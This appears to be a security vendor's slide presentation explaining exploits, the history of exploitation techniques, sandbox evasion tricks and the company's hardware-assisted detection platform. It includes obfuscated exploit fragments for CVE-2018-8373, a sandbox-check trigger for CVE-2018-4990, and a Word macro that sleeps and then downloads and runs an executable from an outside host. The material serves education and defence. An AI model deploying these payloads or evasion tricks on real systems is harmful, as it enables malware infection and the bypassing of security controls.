

**Malware is a
red herring.**

**The real enemy
is its source.**



WHO WE ARE

WHO AM I?



SHLOMI LEVIN

Co-founder & CTO

- Formerly, Senior Technology Leader at Cyvera (acquired by Palo Alto Networks) and at Trusteer (acquired by IBM)
- Officer & Research Squad Leader in classified elite cyber unit in the Israeli Intelligence Corps

AGENDA


1 _____
**Exploits & Exploitation
Techniques**

2 _____
**Why It's
Important**

3 _____
**The Evolution of
Exploitation Techniques**

4 _____
Evasion Techniques

5 _____
**Our Approach &
Offering**



1

Exploits & Exploitation Techniques



FIRST THINGS FIRST: DEFINITIONS

Exploit

- Code that leverages a software bug (**vulnerability**) to infect a system
- In simple words: the trigger that enables the attacker to deliver the malware

Exploitation Technique

- A limited set of techniques used to conduct an exploit
- Typically developed in academia
- Exploitation techniques are the technical actors behind advanced threats

FIRST THINGS FIRST:
DEFINITIONS (CONT'D)

Zero-day


- A cyber attack leveraging software bugs that are **completely unknown** and have no patch

N-day

- A cyber attack leveraging software bugs that are known (Usually published by cybersecurity companies)
- Altered signatures prevent detection

EXPLOITS & EXPLOITATION TECHNIQUES

EXPLOITS ARE THE DELIVERY VEHICLE FOR MALWARE



- Exploitation is a **deterministic** act that happens earlier in the kill chain, **pre-malware release**.


EXPLOITS & EXPLOITATION TECHNIQUES

IT'S A NUMBER GAME. IS IT?

- In advanced attacks **exploits are the real enemy**.
- While there were 670 MM new malware variants in 2017 (+88% YoY)⁽¹⁾, there are only a limited number of exploits.


Note:

1. Symantec ISTR March 2018



EXPLOITS & EXPLOITATION TECHNIQUES

KEY MILESTONES IN THE EXPLOIT'S EVOLUTION



2

Why It's Important



WHY IT'S IMPORTANT

THE THREAT LANDSCAPE: ADVANCED THREATS OVERVIEW

Memory Corruption

- Transferred wither by files or links
- Attack techniques include: Heap Spray, ROP, COP and more

Logical Bugs / Droppers

- Exploiting **logical bugs** in a software and/or **features** for malicious purposes
- E.g. mouse-hovering, DEE

Payload-less Attacks

- Attacks that don't include any file or links
- Includes BEC & ATO attacks

WHY IT'S IMPORTANT

EXAMPLE #1: INTERNET EXPLORER VULNERABILITY

Attack Overview

- **The attacker:** Darkhotel, a North Korea-based APT group
- **The vulnerability:** CVE-2018-8373, a Zero-day in **Internet Explorer 9, 10, and 11**
- The flaw could be exploited by remote attackers to take control of the systems by tricking victims into viewing a specially crafted website through Internet Explorer.

```
<script language="vbscript">
  Dim llllIIII(17)
Dim IIII
Dim IIIII
Dim lllIIII
Dim IIII(0,6)
Dim IIII
Dim IIII,IIII,IIII
Dim lllIIII
Dim lllII,IIII,IIII,IIII,IIII
Dim lllII
Dim IIII
lllII=(she6a+3065-gH1a33)
lllII=Unescape("%u0001u0880u0001u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000")
Function lllII(Domain)
  Id=(sha3+6887-gH1b8a)
  lllII=(shf9a+3241-gH1c43)
  IIIII=(sh1fd7+1468-gH2593)
  IIIII=(sh183+3282-gH1e55)
  IIIII=(sh41+1843-gH774)
  Id=CLng(Rnd*1000000)
  lllII=CLng((sh696+1109-gHaa2)*Rnd)Mod (sh1325+1962-gH1ac6)+_
  If(Id+lllII)Mod (shdc1+2424-gH1737)=(shc58+2315-gH1563) Then
    lllII=lllII-(sh1828+2949-gH23ac)
  End If
  IIIII=CLng((sh1ff0+375-gH211e)*Rnd)Mod (sh11c1+5048-gH2555)
  IIIII=CLng((sh38b+562-gH574)*Rnd)Mod (sh16a1+44-gH16b3)+_
  IIII=195948557
  lllII=Unescape("%u0001u0880u0001u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000") & _
  "%uffff%u7fff%u0000u0000"
  lllII=Unescape("%u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000")
  lllII=195890093
Function IIIII(Domain)
  Id=(sh19a4+2791-gH248b)
  IIII=(shcb+1079-gH502)
  IIIII=(sh1ec0+459-gH208b)
  IIIII=(sh1d56+328-gH1e9e)
  IIIII=(sh817+7819-gH26a2)
  Id=CLng(Rnd*1000000)
  IIIII=CLng((sh27d+8231-gH225b)*Rnd)Mod (sh137d+443-gH152f)+(sh1c17+_
  If(Id+lllII)Mod (sh5c0+6421-gH1ed3)=(sh10ba+5264-gH254a) Then
    IIIII=lllII-(sh86d+6447-gH219b)
  End If
End If
```

CVE-2018-8373

```
<body>
<script language="vbscript">
Dim llll
Dim IIII(6),IIII(6)
Dim IIII
Dim IIII(40)
Dim IIII,IIII
Dim IIII
Dim llll,IIII
Dim lllII,IIII
Dim IIIII,IIII
  IIII=195948557
  lllII=Unescape("%u0001u0880u0001u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000") & _
  "%uffff%u7fff%u0000u0000"
  lllII=Unescape("%u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000")
  lllII=195890093
Function IIIII(Domain)
  Id=(sh19a4+2791-gH248b)
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  IIIII=(sh817+7819-gH26a2)
  Id=CLng(Rnd*1000000)
  IIIII=CLng((sh27d+8231-gH225b)*Rnd)Mod (sh137d+443-gH152f)+(sh1c17+_
  If(Id+lllII)Mod (sh5c0+6421-gH1ed3)=(sh10ba+5264-gH254a) Then
    IIIII=lllII-(sh86d+6447-gH219b)
  End If
End If
```

CVE-2018-8174

Analysis of the exploit code revealed it shared the obfuscation technique implemented for another flaw (CVE-2018-8174)

Sources: Trend Micro & Security Affairs

WHY IT'S IMPORTANT

EXAMPLE #2: 3 MS OFFICE'S EPS ZERO-DAYS (CVE-0261/0262/0263)

Attack Overview

- **The attackers:**
 - **Turla** – a Russian cyber espionage APT group
 - **APT28** – a Russian cyber espionage APT group
 - **A new unknown financially motivated actor**
- **The targets:** European diplomatic and military entities and regional and global banks with offices in the Middle East.
- The exploits leveraged 3 vulnerabilities in Microsoft Office Encapsulated PostScript (EPS)

Source: FireEye




WHY IT'S IMPORTANT

EXAMPLE #3: SHARED DRIVE ATTACK

Attack Overview

- **The attacker:** MUSTANG PANDA, a China-based hacking group
- **The target:** Mongolia-based victims
- The attack involved the use of shared malware.
- The group used a series of redirections and **file-less**, malicious implementations of legitimate tools to gain access to the targeted systems.

Source: CrowdStrike



WHY IT'S IMPORTANT

EXAMPLE #3: SHARED DRIVE ATTACK (CONT'D)

The Attack Chain




Obfuscated link to Google Drive (goo.gl)



The drive link retrieves a zip file from the folder



The zip file contained a .lnk file obfuscated as a .pdf file



The .lnk file redirects the user to a .wsc file hosted on a micro-blogging page controlled by the attacker




The file uses VBScript to retrieve a decoy PDF file and a PowerShell script



The attacker runs the malware and gains control on the target

3

The Evolution of Exploitation Techniques




THE EVOLUTION OF EXPLOITATION TECHNIQUES



THE 90'S: CODE INJECTION ATTACKS

- “RET” opcode is tricked and returns to malicious code.
- Injected to the software by the attacker.
- These techniques were very successful for a time as there were no defensive measure in place.




THE EVOLUTION OF EXPLOITATION TECHNIQUES



INTEL'S NX (NO-EXECUTE) BIT

- Hardware protection prevents attackers from injecting and executing malicious code from the stack.
- Life got hard for attackers for 6 years as the new Intel CPU's were widespread.




THE EVOLUTION OF EXPLOITATION TECHNIQUES



THE 2000'S: CODE REUSE ATTACKS

- If injected code can't be executed use **EXISTING** code instead!
- ROP was introduced in 2007 to bypass NX Bit. With ROP, an attacker chains small pieces from the normal code (gadgets) – to construct a new malicious code.
- For 10 years there's been no protection against Code-Reuse Attacks such as ROP, resulting in an exponential increase in exploits.



THE EVOLUTION OF EXPLOITATION TECHNIQUES



INTEL CONTROL-FLOW ENFORCEMENT TECHNOLOGY (CET)

- Hardware protection that provides the following capabilities to defend against code reuse attacks:

1 Shadow Stack
Return address protection to defend against Return Oriented Programming.

2 Shadow Stack
Return address protection to defend against Return Oriented Programming.

The (1st) problem: to be released only in 2020 (TBD)




THE EVOLUTION OF EXPLOITATION TECHNIQUES



AND MORE BAD NEWS... ADVANCED CODE RE-USE ATTACKS

- If small code fragments can't be executed use **LEGITIMATE** code such as functions and virtual functions.
- Techniques such as **LOP**, **DOP** and **COOP** essentially setup a loop gadget to invoke a series of legitimate functions to carry out malicious computations.



4

Evasion Techniques



**EVASION TECHNIQUES: HOW
HACKERS BYPASS SANDBOXES**

1

Embedding the Payloads

- Deep, sophisticated packaging
- Clicked when triggered

2

Detecting the Existence of a Sandbox

- The code runs differently in the virtualized environment

3


Exploiting the Sandbox's vulnerabilities

- Cutting the hooks
- Scale and sizes of files

EVASION TECHNIQUES (CONT'D)

1 Packaging

- Attackers simply conceal the malicious payload by deeply embed them within other files or links, taking advantage with the scale problem of sandboxes.
- This evasion is pretty easy and does not require any advanced hacking capabilities.



Based on attack caught in Perception Point's system

**EVASION TECHNIQUES
(CONT'D)**




2 Sleepers

- Since many sandboxes have limit time in which they test a file/link, many attackers insert a sleeper of several minutes to bypass the defense layers.
- Again, this technique requires minimal hacking capabilities.

EVASION TECHNIQUES

EVASION TECHNIQUES (CONT'D)



```
Microsoft Visual Basic - Kernel32_sleep [design]
File Edit View Insert Format Debug Run Tools Add-Ins Window Help
Ln1, Col1

Project - Project
Normal
Project (Kernel32_sleep)
  Microsoft Word Objects
  ThisDocument
  Forms
  Modules
  NewMacros
  References

Properties - NewMacros
NewMacros Module
Alphabetic | Categorized
(Name) NewMacros

Kernel32_sleep - NewMacros (Code)
(General) (Declarations)

#If VBA7 Then
  Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal milliseconds As LongPtr) 'MS Office 64 Bit
#Else
  Public Declare Sub Sleep Lib "kernel32" (ByVal milliseconds As Long) 'MS Office 32 Bit
#End If

Sub DownloadAndExecMalware()
  Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  xHttp.Open "GET", "http://e125w.my-file-server.io/u278393.exe", False
  xHttp.Send

  With bStrm
    .Type = 1 '//binary
    .Open
    .write xHttp.responseBody
    .savetofile "mal.exe", 2
  End With


  Shell ("mal.exe")
End Sub

Sub AutoOpen()
  Sleep 50000
  Call DownloadAndExecMalware
End Sub
```

EVASION TECHNIQUES (CONT'D)

3 Detecting The “Artificiality” of The Environment

- Detecting that the environment is not real in the sense **a human does not use it.**
- Examples include: checking screen resolution, drivers, memory size, system uptime, cookies, desktop icons, languages, time zones, and more.



EVASION TECHNIQUES
(CONT'D)

```
1  function CVE_2018_4990_trigger() {
2      var f = this.getField("Button1");
3      if(f){
4          f.display = display.visible;
5      }
6  }
7
8  app.monitors.toSource();
9
10 var number_of_connected_monitors = app.monitors.length;
11
12 if (number_of_connected_monitors >= 2) {
13     CVE_2018_4990_trigger();
14 }
```

EVASION TECHNIQUES (CONT'D)

4 Detecting Virtualization / Hypervisor

- Detecting technical artifacts that exist due to the lack of full hardware support for virtualization.
- Examples include: detecting artifacts of popular VM hypervisors, or detecting generic hypervisor artifact.
- This type of attack usually takes place only after **the exploit is being run**, i.e. as part of the **malware execution**.

EVASION TECHNIQUES (CONT'D)

5 Detecting Sandbox Artifacts

- Detecting the **sandbox itself** (vs. the hypervisor).
- In this approach, the hacker can utilize the fact that **a sandbox has hooks** – a layer capturing communication between processes, drivers and the OS.
- Again, this type of attack usually takes place only after **the exploit is being run**, i.e. as part of the **malware execution**.


5

Our Approach & Offering



OUR APPROACH & OFFERING

ADVANCED EMAIL & SHARED DRIVES PROTECTION



OUR APPROACH & OFFERING

THE HAP™: FIRST-EVER HARDWARE ASSISTED PLATFORM BLOCKS ZERO-DAY AND N-DAY EXPLOITS

Key Goal:


Provide real-time prevention by intercepting malicious documents and URLs that leverage:

- Zero-day vulnerabilities
- N-day vulnerabilities targeting unpatched software updates
- Never-seen-before malicious document with various scripts (e.g. Word macros)

How We Address It:

Software algorithms use **CPU level data** to access the entire execution flow, right from the processor.


Deterministically intercepts exploit techniques pre-malware release.



OUR APPROACH & OFFERING

THE HAP™: HARDWARE VISIBILITY

- **Leverage Intel PT (Processor Trace), to gain access to the full execution flow of an application.**
- Custom built hypervisor used as a bridge between the hardware and the virtual machines (VMs) that detonated the files/URLs.
- When a file is running inside a VM, its full execution flow is recorded (creating a trace file) together with changes to virtual memory during execution.
- This together with the memory events is then fed to the scanners (detection algorithms) to detect malicious execution flow.



OUR APPROACH & OFFERING

THE HAP™: SOFTWARE AGILITY

1 —

CFG.

- Detects Zero-day & N-day **memory corruption** exploits
- Records the CPU while it processes the input (files and URLs) and identifies exploits by examining the entire execution flow – detecting any deviation from the normal flow of a program in order to deterministically identify malicious activity.

2 —

FFG.

- Detects advanced techniques, such as **exploits that are written to bypass common CFI algorithms.**
- Proprietary semantic aware control flow graphs developed for each app identify deviations of the execution flow during runtime.

3 —

Dropper

- Detects logical **bugs & Droppers** in applications and malicious macros in office documents.
- Employs advanced heuristics-based engine.

WHY IT'S IMPORTANT

THE THREAT LANDSCAPE: EXPLOIT TECHNIQUES

Exploit Technique	Year	Individual / Organization
Stack Overwrite Return Address	1996	Elias Levy (also known as Aleph One; a cyber security expert and blogger)
Stack Overwrite Variables	n.a.	n.a.
Stack SEH Overwrite	2003	David Litchfield (NGS Software)
Heap Spray	2004	SkyLined (a well-known blogger)
Stack Pivot	n.a. ⁽¹⁾	n.a.
Return Oriented Programming (ROP)	2007	University of California, San Diego
Jump Oriented Programming (JOP)	2010	North Carolina State University
Call Oriented Programming (COP)	2014	University of California, Berkeley
Counterfeit Object-Oriented Programming (COOP)	2015	Ruhr-Universität Bochum & Technische Universität Darmstadt
Data Oriented Programming (DOP)	2016	National University of Singapore

Note:

1. This technique is highly connected to the ROP exploit.

OUR APPROACH & OFFERING

EVERYDAY THREATS: OUR COVERAGE

1

Spam Filter

Receives the email & applies reputation and anti-spam filters to quickly flag an email as malicious.

2

Recursive Unpacker

Unpacks the email into smaller units (files and URLs) to identify hidden malicious attacks. Further extracts embedded URLs and files (recursively) by unpacking files and following URLs.

3

Threat Intelligence

Combines multiple threat intelligence sources with our internally developed engine that scans URLs and file in the wild to warn about potential or current attacks.

4

Phishing Engines

Combines best-in-class URL reputation engines and an in-house image analysis engine to identify impersonation techniques and phishing attacks.

5

Static Signatures

Combines best-in-class signature based anti-virus engines to identify malicious attacks. In addition, we've developed a tool that acts to identify highly complicated signatures.

Q&A

Thank You